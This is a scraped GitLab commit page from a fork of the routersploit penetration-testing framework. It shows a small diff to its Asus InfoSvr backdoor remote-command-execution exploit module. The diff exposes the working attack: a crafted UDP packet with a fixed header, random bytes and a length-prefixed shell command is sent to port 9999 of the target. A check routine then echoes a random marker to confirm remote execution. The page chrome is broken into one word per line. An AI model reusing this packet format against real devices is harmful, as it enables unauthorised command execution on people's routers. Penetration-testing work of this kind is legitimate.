Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
185870f1
Commit
185870f1
authored
Oct 30, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding check random value to Asus InfoSvr Backdoor exploit
parent
0bb49931
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
5 additions
and
5 deletions
+5
-5
infosvr_backdoor_rce.py
routersploit/modules/exploits/asus/infosvr_backdoor_rce.py
+5
-5
No files found.
routersploit/modules/exploits/asus/infosvr_backdoor_rce.py
View file @
185870f1
...
@@ -9,6 +9,7 @@ from routersploit import (
...
@@ -9,6 +9,7 @@ from routersploit import (
print_error
,
print_error
,
mute
,
mute
,
shell
,
shell
,
random_text
,
)
)
...
@@ -66,13 +67,13 @@ class Exploit(exploits.Exploit):
...
@@ -66,13 +67,13 @@ class Exploit(exploits.Exploit):
print_error
(
'Your command must be at most 237 characters long. Longer strings might crash the server.'
)
print_error
(
'Your command must be at most 237 characters long. Longer strings might crash the server.'
)
return
return
try
:
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
sock
.
bind
((
'0.0.0.0'
,
9999
))
sock
.
bind
((
'0.0.0.0'
,
9999
))
sock
.
settimeout
(
2
)
sock
.
settimeout
(
2
)
packet
=
(
b
'
\x0C\x15\x33\x00
'
+
os
.
urandom
(
4
)
+
(
b
'
\x00
'
*
38
)
+
struct
.
pack
(
'<H'
,
len
(
cmd
))
+
cmd
)
.
ljust
(
512
,
b
'
\x00
'
)
packet
=
(
b
'
\x0C\x15\x33\x00
'
+
os
.
urandom
(
4
)
+
(
b
'
\x00
'
*
38
)
+
struct
.
pack
(
'<H'
,
len
(
cmd
))
+
cmd
)
.
ljust
(
512
,
b
'
\x00
'
)
try
:
sock
.
sendto
(
packet
,
(
self
.
target
,
9999
))
sock
.
sendto
(
packet
,
(
self
.
target
,
9999
))
except
socket
.
error
:
except
socket
.
error
:
return
""
return
""
...
@@ -92,11 +93,10 @@ class Exploit(exploits.Exploit):
...
@@ -92,11 +93,10 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
NUM_CHECKS
=
5
# we try 5 times because the exploit
,
tends to be unstable
NUM_CHECKS
=
5
# we try 5 times because the exploit tends to be unstable
for
i
in
xrange
(
NUM_CHECKS
):
for
_
in
range
(
NUM_CHECKS
):
# maybe random mark should be implemented
random_value
=
random_text
(
32
)
random_value
=
"116b8df6aee055a05032ed26726c032914dc5dae"
cmd
=
"echo {}"
.
format
(
random_value
)
cmd
=
"echo {}"
.
format
(
random_value
)
try
:
try
:
retval
=
self
.
execute
(
cmd
)
retval
=
self
.
execute
(
cmd
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment